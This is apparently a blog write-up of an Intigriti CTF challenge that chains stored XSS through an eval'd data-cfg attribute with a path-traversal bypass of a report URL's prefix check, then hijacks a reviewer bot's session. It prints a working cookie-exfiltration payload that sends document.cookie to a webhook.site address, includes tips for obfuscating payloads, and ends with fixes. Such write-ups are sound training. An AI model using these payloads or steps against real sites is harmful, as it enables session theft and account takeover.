← Back to list

How a Forgotten data-cfg Attribute Let Me Steal a Reviewer Bot's Cookies.

The moment it clicked

Kani A Mahadevan · 2026-04-28 03:45 · 0 claps · 6.0 min read
#stored-xss #intigriti #cybersecurity #path-traversal #bug-bounty
Open on Medium ↗
Wiki topics: 🔒 · Cybersecurity

How a Forgotten data-cfg Attribute Let Me Steal a Reviewer Bot's Cookies. An Intigriti XSS Story Challenge 0426

The moment it clicked

It was late. My terminal had four tabs open Caido, the target, a notes file full of dead ends, and webhook.site refreshing on its own.

Then it stopped being empty.

GET /?c=flag%3DINTIGRITI%257B019d...

Decoded:

flag=INTIGRITI{019d955f-1643-77a6-99ef-1c10975ab284}
northstar_profile=6506734472c778c04f418d7336418d20

The reviewer bot had walked face-first into my XSS, handed me its cookies, and gone back to whatever bots do when they’re not getting owned. Here’s how the chain came together.

The setup

The target was a note-taking app. Compose, publish, view, report. Two things stood out the second I started poking around:

  1. The renderer was opinionated. Some attributes I pasted into notes triggered visible behaviour in the rendered output. Custom rendering pipelines are where stored XSS lives.
  2. There was a “Report” feature. Reports were processed by an automated reviewer i.e. a headless bot. Bot reviewers + user-controlled HTML + automated visits to attacker URLs is the classic setup for upgrading XSS into account takeover.

Mental model before writing a single payload:

Find a sink in the renderer. Use the report endpoint to drag a privileged victim into it. Steal cookies.

Finding the sink

<script>, onerror, onload all scrubbed. Of course they were.

So I dropped a kitchen sink of weird tags and data-* attributes into a note and diffed the input against the rendered DOM. Most of it got stripped. Two attributes survived in a suspicious way:

html

<div data-enhance="custom" data-cfg="...">...</div>

The element behaved differently depending on what was in data-cfg. The renderer was reading the attribute and doing something with it. After some experimentation, the rules clarified:

  1. The renderer scanned for an enabling element:

html

<div id="enhance-config" data-types="custom"></div>
  1. With that flag set, any data-enhance="custom" element had its data-cfg value passed to a JavaScript evaluator.
  2. Both elements were accepted from untrusted note content the “feature flag” was attacker-controlled.

That last point is the design decision that turned a feature into a bug. An enabling element only acts as a security boundary if the application controls when it appears. Trusting note content to render its own permission grant is roughly equivalent to letting users self-mark their emails as “not phishing.”

Minimum viable PoC:

html

<div id="enhance-config" data-types="custom"></div>
<div data-enhance="custom" data-cfg="alert(1)">trigger</div>

Published. Opened. Alert. Sink confirmed.

Why is data-cfg even being eval'd? Because parsing it as JSON would mean defining a schema per plugin, and Function(cfg)() is one line that works for everyone. This pattern is everywhere in the wild. Anywhere you see "plugin system" and "config in markup," look for the eval.

A real payload

Cookie-stealing with a side of obfuscation:

let d = this['doc'+'ument'],
    u = 'https://webhook.site/.../?c=';
new Image().src = u + encodeURIComponent(d['coo'+'kie']);

A few notes on the choices:

  • **new Image().src* is the cleanest exfil primitive going. Setting .src fires a GET — no CORS preflight, no fetch boilerplate, no async, just swoosh*.
  • **'doc'+'ument' and `'coo'+'kie'`** dodge any naïve filter looking for those literal strings. I had no evidence of one, but stored payloads have to survive backend detection I can't see. Six characters of insurance is cheap.
  • **this['document']** works because at eval time this typically resolves to the global object.

The full stored payload:

<div id="enhance-config" data-types="custom"></div>
<div
  data-enhance="custom"
  data-cfg="let d=this['doc'+'ument'],u='https://webhook.site/073b02f9-c066-4033-8240-efa9ef8ae5d4?c=';new Image().src=u+encodeURIComponent(d['coo'+'kie'])">
  trigger
</div>

Published, opened in another browser, watched my own cookies arrive at webhook.site. Working stored XSS. Time for the bot.

The wall

This is where I almost ran out of ideas.

Plan: report my own malicious note → bot visits → cookies arrive at webhook.

I clicked Report. Submitted. Webhook stayed empty.

Tried again. Empty. Different reason. Empty. The XSS still worked in my own browser. The report request was definitely going through. Something about the bot’s experience of my note was different from mine.

I burned through theories I couldn’t verify from outside the box, but two stuck:

  • Stricter CSP on the note view route. Inline-eval blocked on /note/... but not elsewhere.
  • Path-scoped cookies. The juicy cookies only sent on /api/account/... paths, so even if my XSS fired, document.cookie wouldn't contain what I wanted.

Either way, I needed the bot to land somewhere other than /note/{id} while still being inside a document where my malicious DOM rendered.

Time to look at the report endpoint more carefully.

The parser differential

The report request body was:

{ "url": "/note/abc123", "reason": "spam" }

I tried different URLs. Anything that didn’t begin with /note/{NOTE_ID}/ was rejected. Anything after the prefix was passed through. Classic prefix check. Classic mistake.

Two thoughts arrived in quick succession:

  • **startsWith is not validation.** Anything after the prefix is on me, the attacker.
  • The string isn’t normalised before the check. Whatever I submit is what the bot’s browser receives. And browsers normalise paths.

Submit:

/note/abc123/..%2f..%2fapi/account/preferences/reader-presets/x

LayerWhat it seesDecision/api/report validator (server)Raw string. Starts with /note/abc123/. ✅Accept. Dispatch bot.Bot's browserDecodes %2f/, resolves .. segmentsRequests /api/account/preferences/reader-presets/x

Two systems looking at the same string and disagreeing about what it means. We have a name for that:

Parser differential.

It’s the engine behind half of modern web exploitation. Request smuggling, SSRF bypasses, prototype pollution same pattern, different domain. And path traversal in 2026 is still a parser differential, this time between a server-side validator that didn’t normalise and a client-side fetcher that did.

Why does this destination work? Because the account-preferences page is where the bot’s privileged cookies are scoped, and the application surfaces recently-reported note content for the reviewer to look at. When the bot lands here, my stored payload’s DOM is in the document and the cookies I want are in scope.

One URL, both problems solved.

The exploit

End-to-end:

  1. Plant the payload. Compose a note with the HTML above. Publish. Note the {NOTE_ID}.
  2. Open Caido / Burp. Intercept outgoing requests.
  3. Report the note. Any reason.
  4. Modify the report request. Replace the url field with:
/note/{NOTE_ID}/..%2f..%2fapi/account/preferences/reader-presets/x
  1. Forward. The validator sees a /note/... URL and is happy. The bot's browser normalises and lands on /api/account/.... The renderer hits my element. data-cfg gets eval'd. new Image().src = ... fires.
  2. Watch webhook.site.
flag=INTIGRITI{019d955f-1643-77a6-99ef-1c10975ab284}
northstar_profile=6506734472c778c04f418d7336418d20

flag is the prize. northstar_profile is the bot's session token replay it in your own browser and you are the bot.

What this chain teaches

Each bug is “reasonable” in isolation. The renderer’s enhancer system is a sensible architecture; the mistake was the choice of evaluator. The report endpoint’s URL validation was clearly intended to keep the bot on safe paths; the mistake was a prefix check on un-normalised input. Neither developer was negligent. Both wrote code that looked correct, in a domain where “looks correct” and “is correct” are separated by a single line of normalisation.

Solo, neither bug solves the challenge. Stored XSS with no privileged victim is a finding. Path traversal with nothing on the other side is a finding. Bot that visits user-supplied URLs is a feature. Combined, they’re an account takeover. This is what modern web exploitation looks like small primitives, glued together until something privileged falls out.

The fix is short:

  • Parse data-cfg as JSON, not JavaScript. Drop eval/Function from the codebase.
  • Server-side: decode → normalise → equality-match the report URL against ^/note/[A-Za-z0-9_-]+$. Better still, accept a note_id and build the URL yourself.
  • HttpOnly on every session cookie.
  • Ship a CSP with script-src 'self' and no 'unsafe-eval'. This single header would have killed the entire chain.

What I’m taking away

Hunt the renderer first. Anything that does “magic” with attributes is high-yield territory for stored XSS. Diff input against rendered DOM and watch what survives in suspicious shape.

Pre-emptively obfuscate stored payloads. Backend detection you can’t see is real. String concatenation costs nothing.

Always ask who the victim is. Same-origin script execution is only as valuable as the session executing it. Map every privileged consumer admins, automated reviewers, link unfurlers, CSV importers. They’re delivery mechanisms for higher-privileged victims.

Parser differentials are a class, not a bug. Once you see them, you see them everywhere. When a string is handed from one component to another, ask whether they parse it the same way.

The most boring code is the most exploitable. Nobody writes a startsWith check expecting to end up in a write-up. They write it because it works for the happy path. The "obvious" code is exactly what you want to audit hardest.

Big thanks to the Intigriti team (Konan) for the puzzle. Clean, satisfying chain the kind where each step makes you smile because you can feel the design decision that allowed it. Two bugs, a ..%2f, and one tired evening later, the flag was mine.

INTIGRITI{019d955f-1643-77a6-99ef-1c10975ab284}
  • kani27 aka Marshmellow

Tags: cybersecurity, xss, bug-bounty, web-security, ctf


메타데이터
post_id
4f175c5a7a4a
slug
how-a-forgotten-data-cfg-attribute-let-me-steal-a-reviewer-bots-cookies-4f175c5a7a4a
url
https://medium.com/@kaniamudhan27/how-a-forgotten-data-cfg-attribute-let-me-steal-a-reviewer-bots-cookies-4f175c5a7a4a
canonical_url
https://medium.com/@kaniamudhan27/how-a-forgotten-data-cfg-attribute-let-me-steal-a-reviewer-bots-cookies-4f175c5a7a4a
author_url
https://medium.com/@kaniamudhan27
status
ok
fetched_at
2026-06-27 07:40:21